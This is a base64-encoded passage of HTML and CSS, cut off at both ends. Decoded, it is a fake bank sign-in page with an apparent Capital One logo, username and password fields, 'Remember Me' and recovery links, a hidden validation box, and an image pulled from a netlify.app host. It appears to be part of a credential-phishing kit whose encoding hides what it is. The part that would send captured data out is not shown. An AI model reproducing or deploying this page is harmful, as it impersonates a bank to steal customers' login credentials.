2x1bW47CiAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgcG9zaXRpb246IGFic29sdXRlOwogICAgdG9wOiA1MCU7CiAgICBsZWZ0OiA1MCU7CiAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsKfQoubG9hZGVyIHsKICBmb250LXNpemU6IDVweDsKICBvdmVyZmxvdzogaGlkZGVuOwogIHRleHQtaW5kZW50OiAtOTk5OWVtOwogIGJvcmRlci10b3A6IC44ZW0gc29saWQgIzAwNzBBODsKICBib3JkZXItcmlnaHQ6IC44ZW0gc29saWQgIzAwNzBBODsKICBib3JkZXItYm90dG9tOiAuOGVtIHNvbGlkICMwMDcwQTg7CiAgYm9yZGVyLWxlZnQ6IC44ZW0gc29saWQgdHJhbnNwYXJlbnQ7CiAgLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZVooMCk7CiAgLW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTsKICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVooMCk7CiAgLXdlYmtpdC1hbmltYXRpb246IGxvYWQ4IC41cyBpbmZpbml0ZSBsaW5lYXI7CiAgYW5pbWF0aW9uOiBsb2FkOCAuNXMgaW5maW5pdGUgbGluZWFyOwp9Ci5sb2FkZXJUZXh0ewogICAgZm9udC1zaXplOiAxNHB4OwogICAgZm9udC13ZWlnaHQ6IDcwMDsKICAgIGNvbG9yOiAjNGU0ZTRlOwp9Ci52YWxpZEJveHsKICAgIHBhZGRpbmc6IDAgMjBweDsKfQoKQC13ZWJraXQta2V5ZnJhbWVzIGxvYWQ4IHsKICAwJSB7CiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpOwogICAgdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7CiAgfQogIDEwMCUgewogICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpOwogICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTsKICB9Cn0KQGtleWZyYW1lcyBsb2FkOCB7CiAgMCUgewogICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsKICAgIHRyYW5zZm9ybTogcm90YXRlKDBkZWcpOwogIH0KICAxMDAlIHsKICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTsKICAgIHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7CiAgfQp9CgogICAgICAKICAgICAgICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA2MDBweCl7CiAgICAgICAgICAgIC5ib3hTcGFuewogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwOwogICAgICAgICAgICB9CiAgICAgICAgICAgLmZvb3RlckJveHsKICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDsKICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICB9CiAgICAgICAgICAgLmZsZXhCb3h7CiAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jazsKICAgICAgICAgICB9CiAgICAgICAgICAgIC5mb290ZXJCb3ggc3BhbnsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTBweDsKICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDVweDsKICAgICAgICAgICAgfQogICAgICAgICAgICAuaGVhZFNpZGV7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLmZvcm1Db250YWluewogICAgICAgICAgICAgICAgd2lkdGg6IDk1JTsKICAgICAgICAgICAgfQogICAgICAgICAgICAuaW5wQm94c2lkZXsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweCAxMHB4OwogICAgICAgICAgICB9CiAgICAgICAgICAgICAuYm94VGV4dCBoMiB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDIwcHg7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLmJveFRleHQgcHsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICAgICAgfQogICAgICAgICAgICAubG9nQm94IHN2Z3sKICAgICAgICAgICAgICAgIHdpZHRoOiA4MHB4OwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5lbkJveCBpbWcgewogICAgICAgICAgICAgICAgd2lkdGg6IDE0MHB4OwogICAgICAgICAgICB9CiAgICAgIAogICAgICAgICAgICAubG9hZGVyVGV4dHsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsKICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgPC9zdHlsZT4KCjwvaGVhZD4KPGJvZHk+CiAgICAKICAgIDxkaXYgY2xhc3M9ImhlYWRTaWRlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJsb2dCb3giPgogICAgICAgICAgICA8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDM4NC4zIDEzMy43Ij48cGF0aCBmaWxsPSIjRDAzMDI3IiBkPSJNMjUyLjcgOTYuN2MtMTUuOSAxMS4zLTM0LjcgMjMuMS01NC45IDM1LjRsLS44LjVjLS4zLjItLjMuNi0uMS44LjIuMy42LjMuOC4xbC43LS40YzE3LjEtOC45IDM2LjgtMTkuNiA1Ni42LTMwLjUuMS0uMS4yLS4xLjMtLjItMS0xLjYtMS45LTMuNi0yLjYtNS43em0xMDQuMS04NC4zYy0yNS0yNy42LTE4NS44LTIuOC0yNTQuMiAxMi4ybC0xLjYuM2MtLjMuMS0uNS40LS41LjcuMS4zLjQuNS43LjVsMS42LS4zYzU2LjctMTAuMSAxNzQuNS0yNC4xIDE5OS45IDEuMSA3LjcgNy43IDUuOSAxNy42LTMuMSAyOS4yIDQuOCAzLjEgOC4zIDggOS44IDE0LjEgMzUtMjMuMyA1OC42LTQ1LjUgNDcuNC01Ny44eiIvPjxnIGZpbGw9IiMwMDQ5NzciPjxwYXRoIGQ9Ik0yNjIuOSA4OS40Yy4zIDkuNyA2LjUgMTcuNiAxNC41IDE3LjYgMTUuNSAwIDIyLjEtMTkgMjEuNy0zMS44LS4zLTkuNy02LjYtMTcuNy0xNC42LTE3LjctMTMuNS4yLTIyLjEgMTkuMS0yMS42IDMxLjl6bS04LjItLjVjLS42LTE2LjYgMTIuNC0zMy41IDMxLjItMzMuNSAxMi42IDAgMjAuOCA4LjQgMjEuMyAyMS4zLjYgMTcuNS0xMS41IDMzLjUtMzEuMiAzMy41LTEyLjYgMC0yMC45LTguNC0yMS4zLTIxLjN6TTc2LjIgODQuNWMtLjcuMy0xLjUuNS0yLjYuNy0xLjEuMi0zIC42LTUuOSAxLTIgLjMtMy4zLjctNC4xIDEuMy0uNy42LTEuMiAxLjItMS4zIDItLjIuOS4xIDEuNS45IDIuMS44LjUgMiAuOCAzLjguOCAxLjMgMCAyLjYtLjIgMy45LS42IDEuMy0uNCAyLjQtMSAzLjItMS43LjYtLjUgMS0xLjIgMS40LTIgLjEtLjUuNC0xLjcuNy0zLjZ6bTE2LjQtMTAuMWMtLjEgMS41LS4zIDIuOS0uNyA1LjJsLTIuOCAxNS42Yy0uMiAxLjQuMyAyLjUgMS42IDMuMmwtLjEuNkg3NC43bC0uMS00Yy0yLjMgMS40LTUuMSAyLjYtNy42IDMuMy0yLjUuNi00LjUuOS03LjYuOS01LjEgMC04LjEtLjUtMTAuMS0yLjMtMi4xLTEuOC0zLjEtMy0zLTUuNi4xLTEuNC44LTMuMyAxLjktNC42IDEuMS0xLjMgMi42LTIuMiA0LjItMi45QzU0IDgzIDU2IDgyLjUgNTguOCA4MmMyLjgtLjUgNi43LS45IDExLjktMS4zIDIuNy0uMiA0LjQtLjkgNS4yLTEuMiAxLjEtLjQgMS41LS45IDEuNy0xLjguMy0xLjYtLjItMi41LTIuMy0yLjktNS43LTEuMS0xNi40LjctMjIgMi4xbDMtOC4xYzcuMy0xLjEgMTQuMS0xLjcgMjEuMy0xLjcgMTEuNC0uMiAxNS4xIDMuMSAxNSA3LjN6TTEzOC42IDk4LjlsNS41LTMxLjFoMTUuMmwtNS41IDMxLjFoLTE1LjJ6bTYuMy0zOC4zYy41LTIuNiA0LjUtNC42IDktNC42czcuOCAyLjEgNy40IDQuNmMtLjUgMi42LTQuNSA0LjYtOSA0LjYtNC42LjEtNy44LTItNy40LTQuNnpNMjEzLjIgODQuNmMtLjcuMi0xLjYuNS0yLjYuNy0xLjEuMy0zIC42LTUuOSAxLTIgLjMtMy4zLjctNC4xIDEuMy0uNy41LTEuMiAxLjItMS4zIDItLjIuOS4yIDEuNi45IDIuMS44LjUgMiAuOCAzLjguOCAxLjMgMCAyLjYtLjIgMy45LS42IDEuMy0uNCAyLjQtMSAzLjItMS43LjYtLjUgMS0xLjIgMS40LTIgLjEtLjUuNC0xLjcuNy0zLjZ6bTE2LjQtMTAuMmMtLjEgMS41LS4zIDIuOS0uOCA1LjJMMjI2IDk1LjJjLS4yIDEuNC4zIDIuNSAxLjUgMy4ybC0uMS41aC0xNS45bC0uMS00Yy0yLjMgMS40LTUuMSAyLjYtNy42IDMuMy0yLjUuNy00LjYuOS03LjYuOS01LjEgMC04LS41LTEwLjEtMi4zLTIuMS0xLjgtMy4xLTMtMy01LjYuMS0xLjUuOC0zLjMgMS45LTQuNiAxLjEtMS4zIDIuNi0yLjIgNC4yLTMgMS42LS44IDMuNi0xLjMgNi4zLTEuOCAyLjgtLjQgNi43LS45IDEyLTEuMyAyLjctLjIgNC40LS44IDUuMi0xLjEgMS4xLS40IDEuNS0uOSAxLjctMS44LjMtMS42LS4yLTIuNS0yLjMtMi45LTUuNy0xLjEtMTYuNC43LTIyIDIuMWwzLTguMWM3LjMtMS4xIDE0LjEtMS44IDIxLjMtMS44IDExLjYuMSAxNS4zIDMuMyAxNS4yIDcuNXpNNDQuMiA4Ny43Yy00LjkgMS03LjcgMS40LTEyLjYgMS40LTcuMyAwLTEzLTMuNi0xMi43LTEwLjIuMi00LjQgNS40LTEzLjcgMTguNy0xMy43IDQuMiAwIDcuNC43IDExLjggMy4ybDEuOS0xMC44Yy02LTIuMy05LjktMi42LTE1LTIuNS0xNy40LjItMzQgOC4xLTM2LjEgMjQuMUMtMS45IDk1LjUgMTggOTkuNiAyNi44IDk5LjZjNS4xIDAgMTAuNC0uMiAxNS40LS43bDItMTEuMnpNMTY3LjYgNjcuN2wxLjEtNi4zIDE1LjktMy41LTEuNyA5LjhoNy44bC0xLjUgNi4zaC03LjVsLTQuNiAyNXMtMTUuMy0uMS0xNS40IDBsNC42LTI0LjloLTUuOGwxLjItNi4zaDUuOXpNMjQ1IDk4LjloLTE1LjVsNy44LTQzLjMgMTUuMS40TTExOC41IDc1LjFjLTIgMC0zLjguNi01LjQgMS44LTEuNiAxLjItMi42IDMtMyA1LjMtLjUgMi43LS4yIDQuNy45IDUuOSAxLjEgMS4yIDIuNiAxLjggNC43IDEuOCAxLjQgMCAyLjgtLjIgMy45LS44IDEuMy0uNyAyLjItMS40IDMtMi42LjgtMS4yIDEuNC0yLjUgMS43LTQuMS40LTIuNS4xLTQuMy0xLjEtNS41LTEuMi0xLjItMi44LTEuOC00LjctMS44em0tMjcuNyAzNC41TDk4LjIgNjhoMTMuM2wtMSA1LjNjMS4yLTEuNiAzLTIuOSA1LjYtNCAyLjYtMS4xIDUuNS0xLjggOC42LTEuOCAzLjUgMCA1LjYuMiA4LjIgMS41IDIuNiAxLjQgNC40IDMuMyA1LjQgNS45IDEgMi41IDEuMiA1LjQuNyA4LjUtLjkgNS4xLTMuNCA5LjItNy41IDEyLjJzLTcuNyAzLjgtMTMgMy44Yy0xLjkgMC0zLjQtLjItNC43LS41LTEuMy0uMy0yLjMtLjctMy0xLjItLjctLjUtMS41LTEuMi0yLjUtMi4zbC0yLjUgMTQuM2gtMTV6TTM2Ni42IDc4LjljLS4xLTIuNS0xLjMtNC4yLTMuOS00LjItNi4yIDAtMTIuOSAxMi4yLTE0IDE3LjEgMTAuMi4xIDE4LjEtNiAxNy45LTEyLjl6bTEuMyAxOS4ybDEuMi44Yy0zIDYuMi05LjIgMTEuMi0xNi41IDExLjItNS45IDAtMTAuOC00LTExLjEtMTEuNC0uNS0xMy4zIDEyLTI1LjcgMjIuMi0yNS43IDQuNCAwIDguNCAxLjkgOC42IDYuNi40IDEwLjYtMTQuNSAxMy44LTI0LjMgMTQtLjMgMS4xLS40IDIuMi0uNCAzLjkuMiA0LjQgMi44IDguMSA4LjMgOC4xIDQuOSAwIDkuNi0zLjggMTItNy41eiIvPjxwYXRoIGQ9Ik0zMDcgNzguNmMxLjEtLjEgMi44LS4zIDMuNS0uMyAxLjEgMCAyLjIuMiAyLjIgMS4zIDAgLjctMS4yIDUuNC0xLjQgNi41bC0yLjQgMTAuNGMtMSA0LjMtMiA4LjgtMi45IDEyLjNoNi4xbDMuNC0xNi42YzEwLjQtMTAuOSAxNC41LTE0LjQgMTYuOS0xNC40IDEuMSAwIDEuOS42IDEuOSAxLjkuMSAxLjktMS4xIDYuMy0xLjUgNy41bC0zLjUgMTIuMWMtLjggMi43LTEuNCA1LjItMS4zIDYuOS4xIDIuNyAxLjcgMy44IDQuMSAzLjggNC40IDAgNy43LTQuNiAxMC41LTkuMmwtLjgtMS41Yy0xLjEgMS44LTMuOCA1LjgtNS45IDUuOC0uNyAwLTEuMy0uNC0xLjMtMS41LS4xLTEuNC41LTMuNS45LTQuOWwzLjktMTQuMWMxLTMuOSAxLjUtNi40IDEuNS03LjctLjEtMi42LTEuNi0zLjktNC0zLjktNCAwLTkuMyAyLjktMjAuNiAxNS45aC0uMmwxLjQtNi4zYy44LTMuNSAxLjUtNy4xIDIuMy05LjYtMy45IDEuNC05LjUgMy0xMi45IDMuNmwuMSAyeiIvPjwvZz48cGF0aCBmaWxsPSIjMDA0OTc3IiBkPSJNMzczLjMgNjcuM2MwLTMuMSAyLjUtNS40IDUuNS01LjQgMi45IDAgNS41IDIuMyA1LjUgNS40IDAgMy4xLTIuNSA1LjQtNS41IDUuNC0zIC4xLTUuNS0yLjItNS41LTUuNHptNS41IDQuNmMyLjQgMCA0LjQtMS45IDQuNC00LjVzLTEuOS00LjUtNC40LTQuNWMtMi41IDAtNC40IDEuOS00LjQgNC41czEuOSA0LjUgNC40IDQuNXptLTEuMS0xLjRoLTF2LTYuMmgyLjRjMS41IDAgMi4yLjUgMi4yIDEuOCAwIDEuMS0uNyAxLjYtMS42IDEuN2wxLjggMi43aC0xLjFsLTEuNi0yLjdoLTEuMXYyLjd6bTEuMS0zLjVjLjggMCAxLjUtLjEgMS41LTEgMC0uOC0uNy0uOS0xLjQtLjloLTEuM1Y2N2gxLjJ6Ii8+PC9zdmc+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImVuQm94Ij4KICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYm94bWFwMS5uZXRsaWZ5LmFwcC9lbmNhcC5wbmciIGFsdD0iZW4iPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPCEtLS0tLSBzdGFydCBMZyBmb3JtIC0tPgogICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0iZm9ybUNvbnRhaW4gZkxnIj4KICAgICAgICA8ZGl2IGNsYXNzPSJsZ0JveDIiPgogICAgICAgICAgICA8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDM4NC4zIDEzMy43Ij48cGF0aCBmaWxsPSIjRDAzMDI3IiBkPSJNMjUyLjcgOTYuN2MtMTUuOSAxMS4zLTM0LjcgMjMuMS01NC45IDM1LjRsLS44LjVjLS4zLjItLjMuNi0uMS44LjIuMy42LjMuOC4xbC43LS40YzE3LjEtOC45IDM2LjgtMTkuNiA1Ni42LTMwLjUuMS0uMS4yLS4xLjMtLjItMS0xLjYtMS45LTMuNi0yLjYtNS43em0xMDQuMS04NC4zYy0yNS0yNy42LTE4NS44LTIuOC0yNTQuMiAxMi4ybC0xLjYuM2MtLjMuMS0uNS40LS41LjcuMS4zLjQuNS43LjVsMS42LS4zYzU2LjctMTAuMSAxNzQuNS0yNC4xIDE5OS45IDEuMSA3LjcgNy43IDUuOSAxNy42LTMuMSAyOS4yIDQuOCAzLjEgOC4zIDggOS44IDE0LjEgMzUtMjMuMyA1OC42LTQ1LjUgNDcuNC01Ny44eiIvPjxnIGZpbGw9IiMwMDQ5NzciPjxwYXRoIGQ9Ik0yNjIuOSA4OS40Yy4zIDkuNyA2LjUgMTcuNiAxNC41IDE3LjYgMTUuNSAwIDIyLjEtMTkgMjEuNy0zMS44LS4zLTkuNy02LjYtMTcuNy0xNC42LTE3LjctMTMuNS4yLTIyLjEgMTkuMS0yMS42IDMxLjl6bS04LjItLjVjLS42LTE2LjYgMTIuNC0zMy41IDMxLjItMzMuNSAxMi42IDAgMjAuOCA4LjQgMjEuMyAyMS4zLjYgMTcuNS0xMS41IDMzLjUtMzEuMiAzMy41LTEyLjYgMC0yMC45LTguNC0yMS4zLTIxLjN6TTc2LjIgODQuNWMtLjcuMy0xLjUuNS0yLjYuNy0xLjEuMi0zIC42LTUuOSAxLTIgLjMtMy4zLjctNC4xIDEuMy0uNy42LTEuMiAxLjItMS4zIDItLjIuOS4xIDEuNS45IDIuMS44LjUgMiAuOCAzLjguOCAxLjMgMCAyLjYtLjIgMy45LS42IDEuMy0uNCAyLjQtMSAzLjItMS43LjYtLjUgMS0xLjIgMS40LTIgLjEtLjUuNC0xLjcuNy0zLjZ6bTE2LjQtMTAuMWMtLjEgMS41LS4zIDIuOS0uNyA1LjJsLTIuOCAxNS42Yy0uMiAxLjQuMyAyLjUgMS42IDMuMmwtLjEuNkg3NC43bC0uMS00Yy0yLjMgMS40LTUuMSAyLjYtNy42IDMuMy0yLjUuNi00LjUuOS03LjYuOS01LjEgMC04LjEtLjUtMTAuMS0yLjMtMi4xLTEuOC0zLjEtMy0zLTUuNi4xLTEuNC44LTMuMyAxLjktNC42IDEuMS0xLjMgMi42LTIuMiA0LjItMi45QzU0IDgzIDU2IDgyLjUgNTguOCA4MmMyLjgtLjUgNi43LS45IDExLjktMS4zIDIuNy0uMiA0LjQtLjkgNS4yLTEuMiAxLjEtLjQgMS41LS45IDEuNy0xLjguMy0xLjYtLjItMi41LTIuMy0yLjktNS43LTEuMS0xNi40LjctMjIgMi4xbDMtOC4xYzcuMy0xLjEgMTQuMS0xLjcgMjEuMy0xLjcgMTEuNC0uMiAxNS4xIDMuMSAxNSA3LjN6TTEzOC42IDk4LjlsNS41LTMxLjFoMTUuMmwtNS41IDMxLjFoLTE1LjJ6bTYuMy0zOC4zYy41LTIuNiA0LjUtNC42IDktNC42czcuOCAyLjEgNy40IDQuNmMtLjUgMi42LTQuNSA0LjYtOSA0LjYtNC42LjEtNy44LTItNy40LTQuNnpNMjEzLjIgODQuNmMtLjcuMi0xLjYuNS0yLjYuNy0xLjEuMy0zIC42LTUuOSAxLTIgLjMtMy4zLjctNC4xIDEuMy0uNy41LTEuMiAxLjItMS4zIDItLjIuOS4yIDEuNi45IDIuMS44LjUgMiAuOCAzLjguOCAxLjMgMCAyLjYtLjIgMy45LS42IDEuMy0uNCAyLjQtMSAzLjItMS43LjYtLjUgMS0xLjIgMS40LTIgLjEtLjUuNC0xLjcuNy0zLjZ6bTE2LjQtMTAuMmMtLjEgMS41LS4zIDIuOS0uOCA1LjJMMjI2IDk1LjJjLS4yIDEuNC4zIDIuNSAxLjUgMy4ybC0uMS41aC0xNS45bC0uMS00Yy0yLjMgMS40LTUuMSAyLjYtNy42IDMuMy0yLjUuNy00LjYuOS03LjYuOS01LjEgMC04LS41LTEwLjEtMi4zLTIuMS0xLjgtMy4xLTMtMy01LjYuMS0xLjUuOC0zLjMgMS45LTQuNiAxLjEtMS4zIDIuNi0yLjIgNC4yLTMgMS42LS44IDMuNi0xLjMgNi4zLTEuOCAyLjgtLjQgNi43LS45IDEyLTEuMyAyLjctLjIgNC40LS44IDUuMi0xLjEgMS4xLS40IDEuNS0uOSAxLjctMS44LjMtMS42LS4yLTIuNS0yLjMtMi45LTUuNy0xLjEtMTYuNC43LTIyIDIuMWwzLTguMWM3LjMtMS4xIDE0LjEtMS44IDIxLjMtMS44IDExLjYuMSAxNS4zIDMuMyAxNS4yIDcuNXpNNDQuMiA4Ny43Yy00LjkgMS03LjcgMS40LTEyLjYgMS40LTcuMyAwLTEzLTMuNi0xMi43LTEwLjIuMi00LjQgNS40LTEzLjcgMTguNy0xMy43IDQuMiAwIDcuNC43IDExLjggMy4ybDEuOS0xMC44Yy02LTIuMy05LjktMi42LTE1LTIuNS0xNy40LjItMzQgOC4xLTM2LjEgMjQuMUMtMS45IDk1LjUgMTggOTkuNiAyNi44IDk5LjZjNS4xIDAgMTAuNC0uMiAxNS40LS43bDItMTEuMnpNMTY3LjYgNjcuN2wxLjEtNi4zIDE1LjktMy41LTEuNyA5LjhoNy44bC0xLjUgNi4zaC03LjVsLTQuNiAyNXMtMTUuMy0uMS0xNS40IDBsNC42LTI0LjloLTUuOGwxLjItNi4zaDUuOXpNMjQ1IDk4LjloLTE1LjVsNy44LTQzLjMgMTUuMS40TTExOC41IDc1LjFjLTIgMC0zLjguNi01LjQgMS44LTEuNiAxLjItMi42IDMtMyA1LjMtLjUgMi43LS4yIDQuNy45IDUuOSAxLjEgMS4yIDIuNiAxLjggNC43IDEuOCAxLjQgMCAyLjgtLjIgMy45LS44IDEuMy0uNyAyLjItMS40IDMtMi42LjgtMS4yIDEuNC0yLjUgMS43LTQuMS40LTIuNS4xLTQuMy0xLjEtNS41LTEuMi0xLjItMi44LTEuOC00LjctMS44em0tMjcuNyAzNC41TDk4LjIgNjhoMTMuM2wtMSA1LjNjMS4yLTEuNiAzLTIuOSA1LjYtNCAyLjYtMS4xIDUuNS0xLjggOC42LTEuOCAzLjUgMCA1LjYuMiA4LjIgMS41IDIuNiAxLjQgNC40IDMuMyA1LjQgNS45IDEgMi41IDEuMiA1LjQuNyA4LjUtLjkgNS4xLTMuNCA5LjItNy41IDEyLjJzLTcuNyAzLjgtMTMgMy44Yy0xLjkgMC0zLjQtLjItNC43LS41LTEuMy0uMy0yLjMtLjctMy0xLjItLjctLjUtMS41LTEuMi0yLjUtMi4zbC0yLjUgMTQuM2gtMTV6TTM2Ni42IDc4LjljLS4xLTIuNS0xLjMtNC4yLTMuOS00LjItNi4yIDAtMTIuOSAxMi4yLTE0IDE3LjEgMTAuMi4xIDE4LjEtNiAxNy45LTEyLjl6bTEuMyAxOS4ybDEuMi44Yy0zIDYuMi05LjIgMTEuMi0xNi41IDExLjItNS45IDAtMTAuOC00LTExLjEtMTEuNC0uNS0xMy4zIDEyLTI1LjcgMjIuMi0yNS43IDQuNCAwIDguNCAxLjkgOC42IDYuNi40IDEwLjYtMTQuNSAxMy44LTI0LjMgMTQtLjMgMS4xLS40IDIuMi0uNCAzLjkuMiA0LjQgMi44IDguMSA4LjMgOC4xIDQuOSAwIDkuNi0zLjggMTItNy41eiIvPjxwYXRoIGQ9Ik0zMDcgNzguNmMxLjEtLjEgMi44LS4zIDMuNS0uMyAxLjEgMCAyLjIuMiAyLjIgMS4zIDAgLjctMS4yIDUuNC0xLjQgNi41bC0yLjQgMTAuNGMtMSA0LjMtMiA4LjgtMi45IDEyLjNoNi4xbDMuNC0xNi42YzEwLjQtMTAuOSAxNC41LTE0LjQgMTYuOS0xNC40IDEuMSAwIDEuOS42IDEuOSAxLjkuMSAxLjktMS4xIDYuMy0xLjUgNy41bC0zLjUgMTIuMWMtLjggMi43LTEuNCA1LjItMS4zIDYuOS4xIDIuNyAxLjcgMy44IDQuMSAzLjggNC40IDAgNy43LTQuNiAxMC41LTkuMmwtLjgtMS41Yy0xLjEgMS44LTMuOCA1LjgtNS45IDUuOC0uNyAwLTEuMy0uNC0xLjMtMS41LS4xLTEuNC41LTMuNS45LTQuOWwzLjktMTQuMWMxLTMuOSAxLjUtNi40IDEuNS03LjctLjEtMi42LTEuNi0zLjktNC0zLjktNCAwLTkuMyAyLjktMjAuNiAxNS45aC0uMmwxLjQtNi4zYy44LTMuNSAxLjUtNy4xIDIuMy05LjYtMy45IDEuNC05LjUgMy0xMi45IDMuNmwuMSAyeiIvPjwvZz48cGF0aCBmaWxsPSIjMDA0OTc3IiBkPSJNMzczLjMgNjcuM2MwLTMuMSAyLjUtNS40IDUuNS01LjQgMi45IDAgNS41IDIuMyA1LjUgNS40IDAgMy4xLTIuNSA1LjQtNS41IDUuNC0zIC4xLTUuNS0yLjItNS41LTUuNHptNS41IDQuNmMyLjQgMCA0LjQtMS45IDQuNC00LjVzLTEuOS00LjUtNC40LTQuNWMtMi41IDAtNC40IDEuOS00LjQgNC41czEuOSA0LjUgNC40IDQuNXptLTEuMS0xLjRoLTF2LTYuMmgyLjRjMS41IDAgMi4yLjUgMi4yIDEuOCAwIDEuMS0uNyAxLjYtMS42IDEuN2wxLjggMi43aC0xLjFsLTEuNi0yLjdoLTEuMXYyLjd6bTEuMS0zLjVjLjggMCAxLjUtLjEgMS41LTEgMC0uOC0uNy0uOS0xLjQtLjloLTEuM1Y2N2gxLjJ6Ii8+PC9zdmc+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9InNpZ25UZXh0Ij4KICAgICAgICAgICAgPGgyPlNpZ24gSW48L2gyPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvciBlcnJtc2cxIGhpZGUiPgogICAgICAgICAgICA8c3Bhbj5JbnZhbGlkIFVzZXJuYW1lIG9yIFBhc3N3b3JkLCB0cnkgYWdhaW48L3NwYW4+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImlucEJveHNpZGUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+VXNlcm5hbWU8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+UGFzc3dvcmQ8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYSIgcmVxdWlyZWQ+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVtZWJUZXh0Qm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJlbWVCb3giPjwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVtZVRleHQiPgogICAgICAgICAgICAgICAgICAgIDxzcGFuPlJlbWVtYmVyIE1lPC9zcGFuPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgPGJ1dHRvbj5TaWduIGluPC9idXR0b24+CiAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcmdvdCI+CiAgICAgICAgICAgICAgICA8c3Bhbj5Gb3Jnb3QgVXNlcm5hbWUgb3IgUGFzc3dvcmQ/PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3Jnb3QiPgogICAgICAgICAgICAgICAgPHNwYW4+U2V0IFVwIE9ubGluZSBBY2Nlc3M8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9mb3JtPgoKCiAgICA8ZGl2IGNsYXNzPSJmTGdGb290Ij4KICAgICAgICA8c3BhbiBjbGFzcz0ic3AxIj5Mb29raW5nIGZvciB0aGVzZSBhY2NvdW50cz88L3NwYW4+CiAgICAgICAgPHNwYW4gY2xhc3M9InNwMiI+Q29tbWVyY2lhbCBvciBUcmFkZSBDcmVkaXQ8L3NwYW4+CiAgICA8L2Rpdj4KCiAgICA8IS0tLS0tIGVuZCBMZyBmb3JtIC0tPgoKCiAgICA8ZGl2IGNsYXNzPSJ2YWxpZEJveCBoaWRlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbWdWYSI+CiAgICAgICAgICAgICAgIDxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgdmlld0JveD0iMCAwIDEwMCAxMDAiPjxnIGlkPSJhMzdiZjZiMC0wM2U5LTQ4MTgtYjRmMy0wNTUxY2M3ZmFhOTkiIGRhdGEtbmFtZT0iQWN0aXZhdGlvbiBMYXllciI+PGNpcmNsZSBjeD0iNTAiIGN5PSI1MCIgcj0iNTAiIGZpbGw9IiMyNjYwODIiLz48cGF0aCBkPSJNOTAuOSw4MS4xNEM4NC41Nyw3NS41LDc4LDY5Ljg5LDc2LjI3LDY4LjYxYTMwLjg5LDMwLjg5LDAsMCwxLTcuMTQsNy4yOWMxLjM2LDIuMTEsNi41NSw4Ljc4LDExLjc1LDE1LjE5QTQ5Ljc